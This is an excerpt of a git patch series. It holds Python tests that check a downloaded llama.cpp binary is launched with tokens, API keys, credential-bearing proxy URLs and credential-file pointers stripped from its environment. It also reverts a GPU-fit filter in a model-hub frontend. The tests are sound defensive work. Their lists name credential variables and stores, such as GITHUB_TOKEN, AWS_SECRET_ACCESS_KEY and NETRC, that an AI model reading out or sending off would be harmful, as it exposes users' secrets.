+        "ACTIONS_ID_TOKEN_REQUEST_TOKEN": "oidc_x",
+        "ACTIONS_ID_TOKEN_REQUEST_URL": "https://oidc",
+        "SOME_VENDOR_API_KEY": "vendor_x",
+        "DB_PASSWORD": "pw",
+        "MY_PRIVATE_KEY": "pk",
+        "KUBECONFIG": "/home/runner/.kube/config",
+        "SSH_AUTH_SOCK": "/tmp/ssh-agent.sock",
+        "SSH_PASSPHRASE": "ssh_pass",
+        # runtime vars to keep
+        "PATH": "/usr/bin",
+        "LD_LIBRARY_PATH": "/opt/lib",
+        "DYLD_LIBRARY_PATH": "/opt/dyld",
+        "HOME": "/home/runner",
+        "TMPDIR": "/tmp",
+        "CUDA_VISIBLE_DEVICES": "0",
+        "HSA_OVERRIDE_GFX_VERSION": "11.0.0",
+    }
+
+    cleaned = scrub_env(raw)
+
+    for secret in (
+        "HF_TOKEN",
+        "HUGGING_FACE_HUB_TOKEN",
+        "GH_TOKEN",
+        "GITHUB_TOKEN",
+        "WANDB_API_KEY",
+        "AWS_SECRET_ACCESS_KEY",
+        "ACTIONS_ID_TOKEN_REQUEST_TOKEN",
+        "ACTIONS_ID_TOKEN_REQUEST_URL",
+        "SOME_VENDOR_API_KEY",
+        "DB_PASSWORD",
+        "MY_PRIVATE_KEY",
+        "KUBECONFIG",
+        "SSH_AUTH_SOCK",
+        "SSH_PASSPHRASE",
+    ):
+        assert secret not in cleaned, f"{secret} must be stripped from binary env"
+
+    for keep in (
+        "PATH",
+        "LD_LIBRARY_PATH",
+        "DYLD_LIBRARY_PATH",
+        "HOME",
+        "TMPDIR",
+        "CUDA_VISIBLE_DEVICES",
+        "HSA_OVERRIDE_GFX_VERSION",
+    ):
+        assert cleaned[keep] == raw[keep], f"{keep} must be preserved for the binary"
+
+    # no bare "KEY" marker: benign KEY-containing names survive
+    assert is_secret_env_name("API_KEY") is True
+    assert is_secret_env_name("SSH_KEYFILE_PATH") is False
+    assert is_secret_env_name("PATH") is False
+
+
+def test_scrub_env_drops_proxy_index_and_embedded_url_credentials():
+    raw = {
+        # proxy / package-index URLs whose values commonly embed credentials
+        "HTTPS_PROXY": "https://user:secret@proxy:8080",
+        "https_proxy": "https://user:secret@proxy:8080",  # lower-case variant
+        "ALL_PROXY": "socks5://user:secret@proxy:1080",
+        "PIP_INDEX_URL": "https://u:p@pypi.internal/simple",
+        "UV_INDEX_URL": "https://u:p@index.internal/simple",
+        # credentials embedded in an otherwise benign-named variable's value
+        "MY_DB_DSN": "postgres://admin:secret@db:5432/app",
+        # benign vars the binary needs, including a URL with no userinfo
+        "PATH": "/usr/bin",
+        "CUDA_VISIBLE_DEVICES": "0",
+        "NO_PROXY": "localhost,127.0.0.1",
+        "SOME_ENDPOINT": "https://example.com:8080/v1",
+    }
+
+    cleaned = scrub_env(raw)
+
+    for secret in (
+        "HTTPS_PROXY",
+        "https_proxy",
+        "ALL_PROXY",
+        "PIP_INDEX_URL",
+        "UV_INDEX_URL",
+        "MY_DB_DSN",
+    ):
+        assert secret not in cleaned, f"{secret} must be stripped from binary env"
+    for keep in ("PATH", "CUDA_VISIBLE_DEVICES", "NO_PROXY", "SOME_ENDPOINT"):
+        assert cleaned[keep] == raw[keep], f"{keep} must be preserved for the binary"
+
+    assert is_secret_env_name("HTTPS_PROXY") is True
+    assert is_secret_env_name("https_proxy") is True
+    assert is_secret_env_name("NO_PROXY") is False
+
+
+def test_binary_env_strips_secrets_from_downloaded_binary_environment(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+):
+    install_dir = tmp_path / "llama.cpp"
+    bin_dir = install_dir / "build" / "bin"
+    bin_dir.mkdir(parents = True)
+    binary_path = bin_dir / "llama-server"
+    binary_path.write_bytes(b"fake")
+
+    host = HostInfo(
+        system = "Linux",
+        machine = "x86_64",
+        is_windows = False,
+        is_linux = True,
+        is_macos = False,
+        is_x86_64 = True,
+        is_arm64 = False,
+        nvidia_smi = None,
+        driver_cuda_version = None,
+        compute_caps = [],
+        visible_cuda_devices = None,
+        has_physical_nvidia = False,
+        has_usable_nvidia = False,
+    )
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "linux_runtime_dirs", lambda _bp: [])
+
+    monkeypatch.setenv("HF_TOKEN", "hf_secret_from_ci")
+    monkeypatch.setenv("GITHUB_TOKEN", "gh_secret_from_ci")
+    monkeypatch.setenv("GH_TOKEN", "gh_secret_from_ci")
+    monkeypatch.setenv("WANDB_API_KEY", "wandb_secret_from_ci")
+    monkeypatch.setenv("CUDA_VISIBLE_DEVICES", "1")
+
+    env = binary_env(binary_path, install_dir, host)
+
+    assert "HF_TOKEN" not in env
+    assert "GITHUB_TOKEN" not in env
+    assert "GH_TOKEN" not in env
+    assert "WANDB_API_KEY" not in env
+    # library/runtime resolution unaffected
+    assert str(bin_dir) in env["LD_LIBRARY_PATH"].split(os.pathsep)
+    assert env["CUDA_VISIBLE_DEVICES"] == "1"
+
+
+def test_binary_env_redirects_home_away_from_real_credential_stores(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+):
+    install_dir = tmp_path / "llama.cpp"
+    bin_dir = install_dir / "build" / "bin"
+    bin_dir.mkdir(parents = True)
+    binary_path = bin_dir / "llama-server"
+    binary_path.write_bytes(b"fake")
+
+    host = HostInfo(
+        system = "Linux",
+        machine = "x86_64",
+        is_windows = False,
+        is_linux = True,
+        is_macos = False,
+        is_x86_64 = True,
+        is_arm64 = False,
+        nvidia_smi = None,
+        driver_cuda_version = None,
+        compute_caps = [],
+        visible_cuda_devices = None,
+        has_physical_nvidia = False,
+        has_usable_nvidia = False,
+    )
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "linux_runtime_dirs", lambda _bp: [])
+
+    real_home = str(tmp_path / "real_home")
+    monkeypatch.setenv("HOME", real_home)
+    monkeypatch.setenv("HF_HOME", real_home + "/.cache/huggingface")
+
+    env = binary_env(binary_path, install_dir, host)
+
+    # HOME and the cache pointers are redirected to a single empty, existing dir.
+    assert env["HOME"] != real_home
+    assert env["HF_HOME"] == env["HOME"]
+    assert env["HOME"] == isolated_runtime_home()
+    assert os.path.isdir(env["HOME"])
+    assert os.listdir(env["HOME"]) == []
+    # Windows reconstructs the profile from HOMEDRIVE + HOMEPATH.
+    assert env["HOMEDRIVE"] + env["HOMEPATH"] == env["HOME"]
+
+
+def test_scrub_env_drops_token_only_url_userinfo():
+    raw = {
+        "GENERIC_REPO": "https://ghp_tokenonly@github.com/org/repo",
+        "GENERIC_OK": "https://example.com:8080/v1",
+    }
+    cleaned = scrub_env(raw)
+    assert "GENERIC_REPO" not in cleaned
+    assert cleaned["GENERIC_OK"] == raw["GENERIC_OK"]
+
+
+def test_binary_env_drops_explicit_credential_file_pointers(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+):
+    host = HostInfo(
+        system = "Linux",
+        machine = "x86_64",
+        is_windows = False,
+        is_linux = True,
+        is_macos = False,
+        is_x86_64 = True,
+        is_arm64 = False,
+        nvidia_smi = None,
+        driver_cuda_version = None,
+        compute_caps = [],
+        visible_cuda_devices = None,
+        has_physical_nvidia = False,
+        has_usable_nvidia = False,
+    )
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "linux_runtime_dirs", lambda _bp: [])
+    dropped = (
+        "NETRC",
+        "PIP_CONFIG_FILE",
+        "DOCKER_CONFIG",
+        "GIT_CONFIG_GLOBAL",
+        "GITHUB_ENV",
+        "GITHUB_PATH",
+        "GITHUB_OUTPUT",
+        "GITHUB_STEP_SUMMARY",
+        "BASH_ENV",
+    )
+    for var in dropped:
+        monkeypatch.setenv(var, "/home/realuser/secret")
+
+    env = binary_env(tmp_path / "llama-server", tmp_path, host)
+
+    for var in dropped:
+        assert var not in env
+
+
+def test_linux_runtime_dirs_probes_with_secret_free_env(monkeypatch: pytest.MonkeyPatch):
+    captured: dict[str, object] = {}
+
+    def fake_missing(binary_path, *, env = None):
+        captured["env"] = env
+        return []
+
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "linux_missing_libraries", fake_missing)
+    monkeypatch.setenv("HF_TOKEN", "hf_secret")
+    monkeypatch.setenv("GITHUB_TOKEN", "gh_secret")
+
+    INSTALL_LLAMA_PREBUILT.linux_runtime_dirs(Path("/fake/llama-server"))
+
+    probe_env = captured["env"]
+    assert probe_env is not None
+    assert "HF_TOKEN" not in probe_env
+    assert "GITHUB_TOKEN" not in probe_env
+
+
 def test_install_prebuilt_falls_back_to_older_release_plan(
     tmp_path: Path, monkeypatch: pytest.MonkeyPatch
 ):

From 0ad814a45228999d95857f8e38a484f9ce107c92 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Sat, 27 Jun 2026 17:48:16 -0700
Subject: [PATCH 134/306] =?UTF-8?q?Revert=20"feat:=20add=20GPU-aware=20mod?=
 =?UTF-8?q?el=20filtering=20and=20For=20You=20section-=20Add=20fit=20filt?=
 =?UTF-8?q?=E2=80=A6"=20(#6722)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This reverts commit a636693019f33c1acf9477dbd4ad714792683c74.
---
 .../model-selector/recommended-fit.ts         | 39 +++------
 .../src/features/hub/catalog/model-card.tsx   | 26 ++----
 .../src/features/hub/catalog/models-table.tsx | 46 ----------
 .../features/hub/catalog/models-toolbar.tsx   | 24 ------
 studio/frontend/src/features/hub/hub-page.tsx | 85 +++----------------
 .../src/features/hub/lib/gpu-fit-filter.ts    | 80 -----------------
 .../src/features/hub/lib/view-models.ts       | 10 ---
 studio/frontend/src/features/hub/types.ts     |  4 -
 8 files changed, 27 insertions(+), 287 deletions(-)
 delete mode 100644 studio/frontend/src/features/hub/lib/gpu-fit-filter.ts

diff --git a/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts b/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
index cc96665df4..24f0edc784 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
+++ b/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
@@ -64,38 +64,19 @@ export function matchesFormatFilter(
   }
 }
 
-// Model-size extraction from repo id, matching the backend's 3-regex priority:
-//   active params (MoE "A3B") > effective params (Gemma "E4B") > total ("8B").
-// Bounded by separators so we never read "16" from "bf16" or "2" from "Kimi-K2".
-// Examples: "Qwen3.5-35B-A3B" -> 3, "gemma-4-E4B" -> 4, "Llama-3-8B" -> 8.
-const ACTIVE_PARAM_RE = /(?:^|[-_/. ])a(\d+(?:\.\d+)?)\s*[bB](?=$|[-_/. ])/i;
-const EFFECTIVE_PARAM_RE = /(?:^|[-_/. ])e(\d+(?:\.\d+)?)\s*[bB](?=$|[-_/. ])/i;
-const TOTAL_PARAM_RE = /(?:^|[-_/. ])(\d+(?:\.\d+)?)\s*[bB](?=$|[-_/. ])/;
-
-function paramsFromMatch(match: RegExpExecArray | null): number | undefined {
-  if (!match) return undefined;
-  const billions = parseFloat(match[1]);
-  return Number.isFinite(billions) && billions > 0
-    ? billions * 1e9
-    : undefined;
-}
-
-/** Active/effective parameter count parsed from a repo id, if it uses explicit
- * MoE/Gemma-style notation such as A3B or E4B. */
-export function activeOrEffectiveParamsFromId(id: string): number | undefined {
-  return (
-    paramsFromMatch(ACTIVE_PARAM_RE.exec(id)) ??
-    paramsFromMatch(EFFECTIVE_PARAM_RE.exec(id))
-  );
-}
+// First "<n>B" token in a repo id, e.g. "Qwen3-4B-GGUF" -> 4, "gpt-oss-20b" ->
+// 20, "Qwen3-30B-A3B" -> 30 (MoE total), "gemma-4-E4B" -> 4 (effective-param
+// "E" series). The digits must be bounded by a separator so we never read "16"
+// from "bf16" or the "2" in "Kimi-K2".
+const PARAM_RE = /(?:^|[-_/. ])[eE]?(\d+(?:\.\d+)?)\s*[bB](?=$|[-_./ ])/;
 
 /** Parameter count (absolute, e.g. 4e9) parsed from a repo id, or undefined
- * when the id has no size token (so callers can treat the size as unknown).
- * Prefers MoE active-param notation (A3B) over effective (E4B) over total. */
+ * when the id has no size token (so callers can treat the size as unknown). */
 export function paramsFromId(id: string): number | undefined {
-  return (
-    activeOrEffectiveParamsFromId(id) ?? paramsFromMatch(TOTAL_PARAM_RE.exec(id))
-  );
+  const match = PARAM_RE.exec(id);
+  if (!match) return undefined;
+  const billions = parseFloat(match[1]);
+  return Number.isFinite(billions) && billions > 0 ? billions * 1e9 : undefined;
 }
 
 // Smallest practical GGUF/MLX quant (~Q2_K, low-bit). The fit check asks whether
diff --git a/studio/frontend/src/features/hub/catalog/model-card.tsx b/studio/frontend/src/features/hub/catalog/model-card.tsx
index c3c526cac3..358a3409b5 100644
--- a/studio/frontend/src/features/hub/catalog/model-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/model-card.tsx
@@ -11,7 +11,7 @@ import { ownerPaletteColor } from "@/features/hub/lib/avatar-theme";
 import { buildAdaptiveCardAccentStyle } from "@/features/hub/lib/card-accent";
 import { useDominantColor } from "@/features/hub/lib/use-dominant-color";
 import { formatModelParamLabel } from "@/features/hub/lib/view-models";
-import { cn, formatCompact } from "@/lib/utils";
+import { formatCompact } from "@/lib/utils";
 import { Download01Icon, FavouriteIcon } from "@hugeicons/core-free-icons";
 import { type CSSProperties, memo, useMemo } from "react";
 import type { DiscoverRow } from "../types";
@@ -339,25 +339,11 @@ export const ModelCard = memo(function ModelCard({
             value={formatCompact(row.result.likes)}
           />
         </div>
-        <div className="flex shrink-0 items-center gap-1.5">
-          {row.fitLevel && (
-            <span
-              className={cn(
-                "text-[9px] font-medium px-1.5 py-0.5 rounded leading-none uppercase shrink-0",
-                row.fitLevel === "comfortable" && "text-emerald-700 bg-emerald-50 dark:text-emerald-300 dark:bg-emerald-500/15",
-                row.fitLevel === "fits" && "text-amber-700 bg-amber-50 dark:text-amber-300 dark:bg-amber-500/15",
-                row.fitLevel === "oom" && "text-red-700 bg-red-50 dark:text-red-300 dark:bg-red-500/15"
-              )}
-            >
-              {row.fitLevel === "comfortable" ? "Comfortable" : row.fitLevel === "fits" ? "Fits GPU" : "OOM"}
-            </span>
-          )}
-          {hasSize ? (
-            <span className="hub-chip shrink-0">{sizeLabel}</span>
-          ) : topCapability ? (
-            <CapabilityPill capability={topCapability} iconOnly={true} />
-          ) : null}
-        </div>
+        {hasSize ? (
+          <span className="hub-chip shrink-0">{sizeLabel}</span>
+        ) : topCapability ? (
+          <CapabilityPill capability={topCapability} iconOnly={true} />
+        ) : null}
       </div>
     </button>
   );
diff --git a/studio/frontend/src/features/hub/catalog/models-table.tsx b/studio/frontend/src/features/hub/catalog/models-table.tsx
index 35f2f966e5..a62806dcb6 100644
--- a/studio/frontend/src/features/hub/catalog/models-table.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-table.tsx
@@ -570,22 +570,6 @@ export const ResultCard = memo(function ResultCard({
       node: <span className="shrink-0">{sizeLabel}</span>,
     });
   }
-  if (row.fitLevel) {
-    const label = row.fitLevel === "comfortable" ? "Comfortable" : row.fitLevel === "fits" ? "Fits GPU" : "OOM";
-    const toneClass = row.fitLevel === "comfortable"
-      ? "text-emerald-700 bg-emerald-50 dark:text-emerald-300 dark:bg-emerald-500/15"
-      : row.fitLevel === "fits"
-        ? "text-amber-700 bg-amber-50 dark:text-amber-300 dark:bg-amber-500/15"
-        : "text-red-700 bg-red-50 dark:text-red-300 dark:bg-red-500/15";
-    textParts.push({
-      key: "gpuFit",
-      node: (
-        <span className={cn("shrink-0 uppercase text-[9px] font-medium px-1.5 py-0.5 rounded leading-none", toneClass)}>
-          {label}
-        </span>
-      ),
-    });
-  }
   if (row.result.updatedAt) {
     textParts.push({
       key: "updated",
@@ -745,21 +729,6 @@ export const ResultGridRow = memo(function ResultGridRow({
             </div>
             <span className="mt-0.5 flex min-w-0 items-center gap-1 text-[11.5px] leading-[15px] text-muted-foreground/80">
               <VerifiedOwner owner={row.owner} />
-              {row.fitLevel && (
-                <>
-                  <span aria-hidden="true" className="text-muted-foreground/35">•</span>
-                  <span
-                    className={cn(
-                      "text-[9px] font-semibold uppercase shrink-0",
-                      row.fitLevel === "comfortable" && "text-emerald-600 dark:text-emerald-400",
-                      row.fitLevel === "fits" && "text-amber-600 dark:text-amber-400",
-                      row.fitLevel === "oom" && "text-red-500"
-                    )}
-                  >
-                    {row.fitLevel === "comfortable" ? "Comfortable" : row.fitLevel === "fits" ? "Fits GPU" : "OOM"}
-                  </span>
-                </>
-              )}
             </span>
           </div>
         </div>
@@ -882,21 +851,6 @@ export const ResultSplitRow = memo(function ResultSplitRow({
         </div>
         <span className="mt-0.5 flex min-w-0 items-center gap-1 text-[10.5px] leading-[14px] text-muted-foreground/80">
           <VerifiedOwner owner={row.owner} />
-          {row.fitLevel && (
-            <>
-              <span aria-hidden="true" className="text-muted-foreground/35">•</span>
-              <span
-                className={cn(
-                  "text-[9px] font-semibold uppercase shrink-0",
-                  row.fitLevel === "comfortable" && "text-emerald-600 dark:text-emerald-400",
-                  row.fitLevel === "fits" && "text-amber-600 dark:text-amber-400",
-                  row.fitLevel === "oom" && "text-red-500"
-                )}
-              >
-                {row.fitLevel === "comfortable" ? "Comfortable" : row.fitLevel === "fits" ? "Fits GPU" : "OOM"}
-              </span>
-            </>
-          )}
         </span>
       </div>
       <div className="flex shrink-0 flex-col items-end gap-0.5 text-[10.5px] tabular-nums text-muted-foreground/70">
diff --git a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
index 9cb17736af..48f7fcffaa 100644
--- a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
@@ -21,7 +21,6 @@ import { HugeiconsIcon } from "@hugeicons/react";
 import type { HfSortKey } from "@/features/hub/hooks/use-hub-model-search";
 import type {
   CapabilityFilter,
-  GpuFitFilter,
   ModelFormatFilter,
   ModelsTab,
   ResourceTypeFilter,
@@ -29,7 +28,6 @@ import type {
 import {
   CAPABILITY_FILTER_OPTIONS,
   FORMAT_FILTER_OPTIONS,
-  GPU_FIT_FILTER_OPTIONS,
 } from "../lib/view-models";
 import { HubOptionMenu, type HubOption } from "./hub-option-menu";
 import {
@@ -70,8 +68,6 @@ export const ModelsToolbar = memo(function ModelsToolbar({
   onFormatFilterChange,
   capabilityFilter,
   onCapabilityFilterChange,
-  gpuFitFilter,
-  onGpuFitFilterChange,
   onManageLocalFolders,
   onOpenFineTune,
 }: {
@@ -88,8 +84,6 @@ export const ModelsToolbar = memo(function ModelsToolbar({
   onFormatFilterChange: (value: ModelFormatFilter) => void;
   capabilityFilter: CapabilityFilter;
   onCapabilityFilterChange: (value: CapabilityFilter) => void;
-  gpuFitFilter: GpuFitFilter;
-  onGpuFitFilterChange: (value: GpuFitFilter) => void;
   onManageLocalFolders: () => void;
   /** Opens the curated "Fine-tune ready" channel (discover only). Exposed as a
    *  format-dropdown option rather than a standalone feed section. */
@@ -159,14 +153,6 @@ export const ModelsToolbar = memo(function ModelsToolbar({
       })),
     [],
   );
-  const gpuFitOptions = useMemo<HubOption<GpuFitFilter>[]>(
-    () =>
-      GPU_FIT_FILTER_OPTIONS.map((option) => ({
-        value: option.value,
-        label: option.label,
-      })),
-    [],
-  );
   const sortOptions = useMemo<HubOption<HfSortKey>[]>(
     () =>
       SORT_OPTIONS.map((option) => ({
@@ -357,16 +343,6 @@ export const ModelsToolbar = memo(function ModelsToolbar({
           />
         )}
 
-        {tab === "discover" && !isDataset && (
-          <HubOptionMenu
-            value={gpuFitFilter}
-            options={gpuFitOptions}
-            onValueChange={onGpuFitFilterChange}
-            ariaLabel="GPU fit filter"
-            className={cn(triggerBase, "w-[128px]")}
-          />
-        )}
-
         {tab === "discover" && (
           <HubOptionMenu
             value={sortBy}
diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx
index 4c79b607d9..c696862283 100644
--- a/studio/frontend/src/features/hub/hub-page.tsx
+++ b/studio/frontend/src/features/hub/hub-page.tsx
@@ -85,17 +85,12 @@ import type {
   CachedInventoryRow,
   CapabilityFilter,
   DiscoverRow,
-  GpuFitFilter,
   LocalInventoryRow,
   ModelFormatFilter,
   ModelsTab,
   ResourceTypeFilter,
   SelectedModelView,
 } from "./types";
-import {
-  classifyGpuFit,
-  matchesGpuFitFilter,
-} from "./lib/gpu-fit-filter";
 
 const MODELS_TAB_STORAGE_KEY = "unsloth.hub.modelsTab";
 const ALL_MODELS_VIEW_STORAGE_KEY = "unsloth.hub.allModelsView";
@@ -418,7 +413,6 @@ export function ModelsPage() {
   );
   const [capabilityFilter, setCapabilityFilter] =
     useState<CapabilityFilter>("all");
-  const [gpuFitFilter, setGpuFitFilter] = useState<GpuFitFilter>("all");
   const [allModelsView, setAllModelsViewState] = useState<AllModelsView>(
     readAllModelsViewPreference,
   );
@@ -567,7 +561,6 @@ export function ModelsPage() {
   const apiHfToken = hfApiToken(debouncedHfToken);
   const deferredFormatFilter = useDeferredValue(formatFilter);
   const deferredCapabilityFilter = useDeferredValue(capabilityFilter);
-  const deferredGpuFitFilter = useDeferredValue(gpuFitFilter);
 
   const hasQuery = deferredDebouncedQuery.trim() !== "";
   const mode: DiscoverMode = !isModelDiscover
@@ -697,59 +690,20 @@ export function ModelsPage() {
 
   const discoverRows = isDatasetMode ? datasetDiscoverRows : modelDiscoverRows;
 
-  // Pre-compute GPU fit level for every discover row so filteredDiscoverRows
-  // and model cards can both consume the same classification.
-  const gpuFitLevelById = useMemo(() => {
-    const map = new Map<string, ReturnType<typeof classifyGpuFit>>();
-    for (const row of discoverRows) {
-      map.set(
-        row.id,
-        classifyGpuFit({
-          totalParams: row.result.totalParams,
-          estimatedSizeBytes: row.result.estimatedSizeBytes,
-          repoId: row.id,
-          gpu,
-        }),
-      );
-    }
-    return map;
-  }, [discoverRows, gpu]);
-
-  const addGpuFitLevel = useCallback(
-    (row: DiscoverRow): DiscoverRow => ({
-      ...row,
-      fitLevel: classifyGpuFit({
-        totalParams: row.result.totalParams,
-        estimatedSizeBytes: row.result.estimatedSizeBytes,
-        repoId: row.id,
-        gpu,
-      }),
-    }),
-    [gpu],
-  );
-
   const filteredDiscoverRows = useMemo(() => {
     if (isDatasetMode) return discoverRows;
-    return discoverRows
-      .filter(
-        (row) =>
-          !isHiddenModelId(row.id) &&
-          matchesFormat(detectResultFormat(row.result), effectiveDiscoverFormat) &&
-          matchesCapability(row.capabilities, deferredCapabilityFilter) &&
-          matchesGpuFitFilter(gpuFitLevelById.get(row.id) ?? null, deferredGpuFitFilter) &&
-          (!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)),
-      )
-      .map((row) => ({
-        ...row,
-        fitLevel: gpuFitLevelById.get(row.id) ?? null,
-      }));
+    return discoverRows.filter(
+      (row) =>
+        !isHiddenModelId(row.id) &&
+        matchesFormat(detectResultFormat(row.result), effectiveDiscoverFormat) &&
+        matchesCapability(row.capabilities, deferredCapabilityFilter) &&
+        (!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)),
+    );
   }, [
     discoverRows,
     isDatasetMode,
     effectiveDiscoverFormat,
     deferredCapabilityFilter,
-    deferredGpuFitFilter,
-    gpuFitLevelById,
     activeChannel,
   ]);
 
@@ -770,17 +724,8 @@ export function ModelsPage() {
         effectiveLocalRows,
       )
         .filter((row) => !isHiddenModelId(row.id))
-        .filter((row) => matchesFormat(row.result.isGguf, "gguf"))
-        .map(addGpuFitLevel)
-        .filter((row) =>
-          matchesGpuFitFilter(row.fitLevel ?? null, deferredGpuFitFilter),
-        ),
-    [
-      hubFeed.trending.results,
-      modelDiscoveryInventorySignature,
-      addGpuFitLevel,
-      deferredGpuFitFilter,
-    ],
+        .filter((row) => matchesFormat(row.result.isGguf, "gguf")),
+    [hubFeed.trending.results, modelDiscoveryInventorySignature],
   );
   const feedRows = useMemo(() => {
     if (!isFeedMode) return [];
@@ -897,7 +842,6 @@ export function ModelsPage() {
         resourceType,
         deferredFormatFilter,
         deferredCapabilityFilter,
-        deferredGpuFitFilter,
         effectiveSort,
         effectiveDirection,
         activeChannelId,
@@ -908,7 +852,6 @@ export function ModelsPage() {
       resourceType,
       deferredFormatFilter,
       deferredCapabilityFilter,
-      deferredGpuFitFilter,
       effectiveSort,
       effectiveDirection,
       activeChannelId,
@@ -929,7 +872,6 @@ export function ModelsPage() {
       setDownloadedFormat("all");
     }
     setCapabilityFilter("all");
-    setGpuFitFilter("all");
   }, [isDiscoverTab, urlSection, navigate]);
   const handleDiscoverFetchIntent = useCallback(() => {
     setDiscoverFetchIntent((value) => value + 1);
@@ -1295,10 +1237,8 @@ export function ModelsPage() {
       hasMore,
       manualFetchAvailable: discoverManualFetchAvailable,
       hasActiveFilters:
-        deferredGpuFitFilter !== "all" ||
-        (!isFeedMode &&
-          (deferredFormatFilter !== "all" ||
-            deferredCapabilityFilter !== "all")),
+        !isFeedMode &&
+        (deferredFormatFilter !== "all" || deferredCapabilityFilter !== "all"),
     }),
     [
       tab,
@@ -1324,7 +1264,6 @@ export function ModelsPage() {
       discoverManualFetchAvailable,
       deferredFormatFilter,
       deferredCapabilityFilter,
-      deferredGpuFitFilter,
     ],
   );
 
@@ -1509,8 +1448,6 @@ export function ModelsPage() {
           onFormatFilterChange={setFormatFilter}
           capabilityFilter={capabilityFilter}
           onCapabilityFilterChange={setCapabilityFilter}
-          gpuFitFilter={gpuFitFilter}
-          onGpuFitFilterChange={setGpuFitFilter}
           onManageLocalFolders={handleManageLocalFolders}
           onOpenFineTune={() => handleOpenList("finetune")}
         />
diff --git a/studio/frontend/src/features/hub/lib/gpu-fit-filter.ts b/studio/frontend/src/features/hub/lib/gpu-fit-filter.ts
deleted file mode 100644
index 7eca4c315a..0000000000
--- a/studio/frontend/src/features/hub/lib/gpu-fit-filter.ts
+++ /dev/null
@@ -1,80 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0-only
-// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-// GPU-aware model-fit filtering: classifies whether a model fits the device
-// and provides a filter predicate for the Hub page and model selector.
-
-import type { GpuInfo } from "@/hooks/use-gpu-info";
-import {
-  activeOrEffectiveParamsFromId,
-  estimateQuantBytes,
-  paramsFromId,
-} from "@/components/assistant-ui/model-selector/recommended-fit";
-
-/** The three filter states exposed in the toolbar dropdown. */
-export type GpuFitFilter = "all" | "fits" | "comfortable";
-
-/** Per-model fit classification. */
-export type GpuFitLevel = "comfortable" | "fits" | "oom";
-
-/**
- * Classify whether a model fits the device.
- *
- * - "comfortable": estimated size ≤ 70% of GPU VRAM (runs fully in VRAM)
- * - "fits": estimated size ≤ 70% GPU + 70% system RAM (runs with CPU offload)
- * - "oom": exceeds both budgets
- *
- * Returns null when we can't determine the size (unknown → no badge).
- */
-export function classifyGpuFit(opts: {
-  totalParams?: number;
-  estimatedSizeBytes?: number;
-  repoId: string;
-  gpu: GpuInfo;
-}): GpuFitLevel | null {
-  const { totalParams, estimatedSizeBytes, repoId, gpu } = opts;
-  const gpuGb = gpu.memoryTotalGb;
-  const ramGb = gpu.systemRamAvailableGb;
-  if (gpuGb <= 0 && ramGb <= 0) return null; // no budget info
-
-  // Active/effective model tokens (for example MoE A3B) describe runnable size
-  // better than HF total-parameter metadata; otherwise prefer exact metadata.
-  const activeOrEffectiveParams = activeOrEffectiveParamsFromId(repoId);
-  const params = activeOrEffectiveParams ?? totalParams ?? paramsFromId(repoId);
-  const sizeBytes =
-    activeOrEffectiveParams
-      ? estimateQuantBytes(activeOrEffectiveParams)
-      : estimatedSizeBytes ?? (params ? estimateQuantBytes(params) : undefined);
-
-  if (!sizeBytes || sizeBytes <= 0) return null; // can't determine
-
-  const sizeGb = sizeBytes / 1024 ** 3;
-  let comfortBudget: number;
-  let fitBudget: number;
-
-  if (!gpu.available || gpuGb <= 0) {
-    // Unified memory system (no discrete GPU)
-    comfortBudget = ramGb * 0.7;
-    fitBudget = ramGb * 0.7;
-  } else {
-    // Discrete GPU
-    comfortBudget = gpuGb * 0.7;
-    fitBudget = gpuGb * 0.7 + ramGb * 0.7;
-  }
-
-  if (sizeGb <= comfortBudget) return "comfortable";
-  if (sizeGb <= fitBudget) return "fits";
-  return "oom";
-}
-
-/** Whether a row passes the given GPU fit filter. */
-export function matchesGpuFitFilter(
-  level: GpuFitLevel | null,
-  filter: GpuFitFilter,
-): boolean {
-  if (filter === "all") return true;
-  if (level === null) return false;
-  if (filter === "comfortable") return level === "comfortable";
-  // "fits" shows both comfortable and fits
-  return level === "comfortable" || level === "fits";
-}
diff --git a/studio/frontend/src/features/hub/lib/view-models.ts b/studio/frontend/src/features/hub/lib/view-models.ts
index cdd17855db..9ee6c5de5d 100644
--- a/studio/frontend/src/features/hub/lib/view-models.ts
+++ b/studio/frontend/src/features/hub/lib/view-models.ts
@@ -10,7 +10,6 @@ import type {
 import type {
   CapabilityFilter,
   DiscoverRow,
-  GpuFitFilter,
   ModelFormatFilter,
 } from "../types";
 import {
@@ -52,15 +51,6 @@ export const FORMAT_FILTER_OPTIONS: ReadonlyArray<{
   { value: "mlx", label: "MLX" },
 ];
 
-export const GPU_FIT_FILTER_OPTIONS: ReadonlyArray<{
-  value: GpuFitFilter;
-  label: string;
-}> = [
-  { value: "all", label: "All sizes" },
-  { value: "fits", label: "Fits GPU" },
-  { value: "comfortable", label: "Comfortable" },
-];
-
 const BILLION = 1_000_000_000;
 
 export function formatParamCount(totalParams: number | undefined): string {
diff --git a/studio/frontend/src/features/hub/types.ts b/studio/frontend/src/features/hub/types.ts
index 9fabdb2a8b..ae9ddf5d4b 100644
--- a/studio/frontend/src/features/hub/types.ts
